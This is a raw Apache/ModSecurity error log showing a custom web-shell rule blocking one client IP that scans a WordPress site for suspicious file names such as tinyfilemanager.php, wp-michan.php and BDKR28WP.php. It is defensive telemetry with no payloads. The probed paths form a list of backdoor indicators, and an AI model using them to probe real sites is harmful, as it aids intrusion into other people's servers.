[Mon Apr 20 21:39:59.679979 2026] [:error] [pid 11494:tid 11504] [client 74.248.131.114:25547] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeYsr8gko5iFiE8YoyTs5AAAAYg"]
[Mon Apr 20 21:40:00.260086 2026] [:error] [pid 11441:tid 11463] [client 74.248.131.114:26197] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeYssMixByFUvmh319Cm2QAAANQ"]
[Mon Apr 20 21:40:00.965062 2026] [:error] [pid 11351:tid 11410] [client 74.248.131.114:26125] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeYssAN8Z1-vktaI_tMQPQAAAFc"]
[Mon Apr 20 21:40:01.539955 2026] [:error] [pid 11351:tid 11411] [client 74.248.131.114:26217] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeYssQN8Z1-vktaI_tMQQAAAAFg"]
[Mon Apr 20 21:40:02.098774 2026] [:error] [pid 42014:tid 42028] [client 74.248.131.114:26204] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeYsssek-00-ZI0f1NqGYAAAAQw"]
[Mon Apr 20 21:40:02.673665 2026] [:error] [pid 11494:tid 11511] [client 74.248.131.114:25523] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeYsssgko5iFiE8YoyTs5gAAAY8"]
[Mon Apr 20 21:40:03.219412 2026] [:error] [pid 6928:tid 6930] [client 74.248.131.114:27443] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeYssx3y7MHq1iB0qYq55wAAAUA"]
[Mon Apr 20 21:40:04.093916 2026] [:error] [pid 11351:tid 11400] [client 74.248.131.114:26866] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeYstAN8Z1-vktaI_tMQRwAAAE0"]
[Mon Apr 20 21:40:04.759159 2026] [:error] [pid 11350:tid 11370] [client 74.248.131.114:27458] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeYstP4EoMBgOJuJnT3HXQAAAAs"]
[Mon Apr 20 21:40:05.313642 2026] [:error] [pid 11494:tid 11503] [client 74.248.131.114:28070] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeYstcgko5iFiE8YoyTs6gAAAYc"]
[Mon Apr 20 21:40:06.139454 2026] [:error] [pid 11350:tid 11366] [client 74.248.131.114:28111] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeYstv4EoMBgOJuJnT3HYgAAAAc"]
[Mon Apr 20 21:40:06.731478 2026] [:error] [pid 11351:tid 11389] [client 74.248.131.114:28074] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeYstgN8Z1-vktaI_tMQSQAAAEI"]
[Mon Apr 20 21:40:07.358909 2026] [:error] [pid 11441:tid 11457] [client 74.248.131.114:26754] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeYst8ixByFUvmh319Cm2gAAAM4"]
[Mon Apr 20 21:40:08.093737 2026] [:error] [pid 11494:tid 11505] [client 74.248.131.114:24265] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeYsuMgko5iFiE8YoyTs6wAAAYk"]
[Mon Apr 20 21:40:08.764390 2026] [:error] [pid 11494:tid 11501] [client 74.248.131.114:28053] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeYsuMgko5iFiE8YoyTs7wAAAYU"]
[Mon Apr 20 21:40:09.361173 2026] [:error] [pid 11494:tid 11511] [client 74.248.131.114:26826] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeYsucgko5iFiE8YoyTs8gAAAY8"]
[Mon Apr 20 21:40:09.963448 2026] [:error] [pid 11352:tid 11425] [client 74.248.131.114:26759] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeYsuWl10mhMSfJ7ir_dMwAAAIs"]
[Mon Apr 20 21:40:10.534817 2026] [:error] [pid 11352:tid 11424] [client 74.248.131.114:26138] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeYsuml10mhMSfJ7ir_dNAAAAIo"]
[Mon Apr 20 21:40:11.088945 2026] [:error] [pid 11351:tid 11402] [client 74.248.131.114:27486] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeYsuwN8Z1-vktaI_tMQUAAAAE8"]
[Mon Apr 20 21:40:11.783482 2026] [:error] [pid 11352:tid 11423] [client 74.248.131.114:26229] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeYsu2l10mhMSfJ7ir_dNwAAAIk"]
[Mon Apr 20 21:40:12.304706 2026] [:error] [pid 11351:tid 11398] [client 74.248.131.114:26182] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeYsvAN8Z1-vktaI_tMQVAAAAEs"]
[Mon Apr 20 21:40:12.834160 2026] [:error] [pid 11351:tid 11392] [client 74.248.131.114:28133] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeYsvAN8Z1-vktaI_tMQVgAAAEU"]
[Mon Apr 20 21:40:13.430668 2026] [:error] [pid 11351:tid 11404] [client 74.248.131.114:28143] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeYsvQN8Z1-vktaI_tMQVwAAAFE"]
[Mon Apr 20 21:40:14.126411 2026] [:error] [pid 11351:tid 11407] [client 74.248.131.114:27501] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeYsvgN8Z1-vktaI_tMQXAAAAFQ"]
[Mon Apr 20 21:40:14.672533 2026] [:error] [pid 6928:tid 6938] [client 74.248.131.114:27441] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeYsvh3y7MHq1iB0qYq57gAAAUg"]
[Mon Apr 20 21:40:15.294956 2026] [:error] [pid 11494:tid 11504] [client 74.248.131.114:28054] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeYsv8gko5iFiE8YoyTs9gAAAYg"]
[Mon Apr 20 21:40:15.874836 2026] [:error] [pid 11494:tid 11512] [client 74.248.131.114:28096] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeYsv8gko5iFiE8YoyTs-QAAAZA"]
[Mon Apr 20 21:40:16.419899 2026] [:error] [pid 11351:tid 11401] [client 74.248.131.114:28051] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeYswAN8Z1-vktaI_tMQXwAAAE4"]
[Mon Apr 20 21:40:16.960800 2026] [:error] [pid 11352:tid 11438] [client 74.248.131.114:27464] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeYswGl10mhMSfJ7ir_dOwAAAJg"]
[Mon Apr 20 21:40:17.501475 2026] [:error] [pid 6928:tid 6954] [client 74.248.131.114:28056] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYswR3y7MHq1iB0qYq58AAAAVg"]
[Mon Apr 20 21:40:18.036584 2026] [:error] [pid 6928:tid 6944] [client 74.248.131.114:24875] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYswh3y7MHq1iB0qYq58QAAAU4"]
[Mon Apr 20 21:40:18.603335 2026] [:error] [pid 6928:tid 6933] [client 74.248.131.114:26843] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYswh3y7MHq1iB0qYq58gAAAUM"]
[Mon Apr 20 21:40:19.165798 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:26227] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYsw_4EoMBgOJuJnT3HbwAAABc"]
[Mon Apr 20 21:40:19.704727 2026] [:error] [pid 11350:tid 11362] [client 74.248.131.114:27497] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeYsw_4EoMBgOJuJnT3HcAAAAAM"]
[Mon Apr 20 21:40:20.350859 2026] [:error] [pid 6928:tid 6931] [client 74.248.131.114:26753] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeYsxB3y7MHq1iB0qYq59AAAAUE"]
[Mon Apr 20 21:40:20.873964 2026] [:error] [pid 11441:tid 11454] [client 74.248.131.114:26838] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeYsxMixByFUvmh319Cm4AAAAMs"]
[Mon Apr 20 21:40:27.138863 2026] [autoindex:error] [pid 11351:tid 11401] [client 74.248.131.114:27485] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 21:41:12.245669 2026] [:error] [pid 11351:tid 11404] [client 74.248.131.114:27485] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeYs-AN8Z1-vktaI_tMQ5wAAAFE"]
[Mon Apr 20 21:41:13.165908 2026] [:error] [pid 11351:tid 11397] [client 74.248.131.114:11636] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeYs-QN8Z1-vktaI_tMQ6wAAAEo"]
[Mon Apr 20 21:41:14.524006 2026] [:error] [pid 11351:tid 11398] [client 74.248.131.114:10308] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeYs-gN8Z1-vktaI_tMQ7gAAAEs"]
[Mon Apr 20 21:41:16.027917 2026] [:error] [pid 11494:tid 11505] [client 74.248.131.114:11611] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeYs_Mgko5iFiE8YoyTtJQAAAYk"]
[Mon Apr 20 21:41:17.139053 2026] [:error] [pid 11441:tid 11459] [client 74.248.131.114:29430] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeYs_cixByFUvmh319CnHAAAANA"]
[Mon Apr 20 21:41:17.749874 2026] [:error] [pid 11494:tid 11516] [client 74.248.131.114:1897] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeYs_cgko5iFiE8YoyTtKQAAAZQ"]
[Mon Apr 20 21:41:18.594692 2026] [:error] [pid 11494:tid 11509] [client 74.248.131.114:11602] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeYs_sgko5iFiE8YoyTtLAAAAY0"]
[Mon Apr 20 21:41:19.635304 2026] [:error] [pid 11350:tid 11362] [client 74.248.131.114:1797] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeYs__4EoMBgOJuJnT3HvwAAAAM"]
[Mon Apr 20 21:41:20.347591 2026] [:error] [pid 11494:tid 11505] [client 74.248.131.114:10288] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeYtAMgko5iFiE8YoyTtMQAAAYk"]
[Mon Apr 20 21:41:21.112861 2026] [:error] [pid 11494:tid 11512] [client 74.248.131.114:10287] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeYtAcgko5iFiE8YoyTtMwAAAZA"]
[Mon Apr 20 21:41:22.046138 2026] [:error] [pid 11494:tid 11502] [client 74.248.131.114:1929] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeYtAsgko5iFiE8YoyTtNwAAAYY"]
[Mon Apr 20 21:41:23.840750 2026] [:error] [pid 11494:tid 11516] [client 74.248.131.114:10267] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeYtA8gko5iFiE8YoyTtPwAAAZQ"]
[Mon Apr 20 21:41:24.485403 2026] [:error] [pid 11441:tid 11448] [client 74.248.131.114:1546] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeYtBMixByFUvmh319CnLAAAAMU"]
[Mon Apr 20 21:41:25.130410 2026] [:error] [pid 11350:tid 11377] [client 74.248.131.114:1803] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeYtBf4EoMBgOJuJnT3HwwAAABI"]
[Mon Apr 20 21:41:25.665252 2026] [:error] [pid 6928:tid 6943] [client 74.248.131.114:1603] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeYtBR3y7MHq1iB0qYq6OwAAAU0"]
[Mon Apr 20 21:41:26.277680 2026] [:error] [pid 11350:tid 11372] [client 74.248.131.114:1364] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeYtBv4EoMBgOJuJnT3HxwAAAA0"]
[Mon Apr 20 21:41:26.824969 2026] [:error] [pid 11351:tid 11405] [client 74.248.131.114:1353] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYtBgN8Z1-vktaI_tMRKwAAAFI"]
[Mon Apr 20 21:41:27.544498 2026] [:error] [pid 11352:tid 11422] [client 74.248.131.114:1554] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYtB2l10mhMSfJ7ir_dawAAAIg"]
[Mon Apr 20 21:41:28.095112 2026] [:error] [pid 11351:tid 11396] [client 74.248.131.114:1288] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYtCAN8Z1-vktaI_tMRNAAAAEk"]
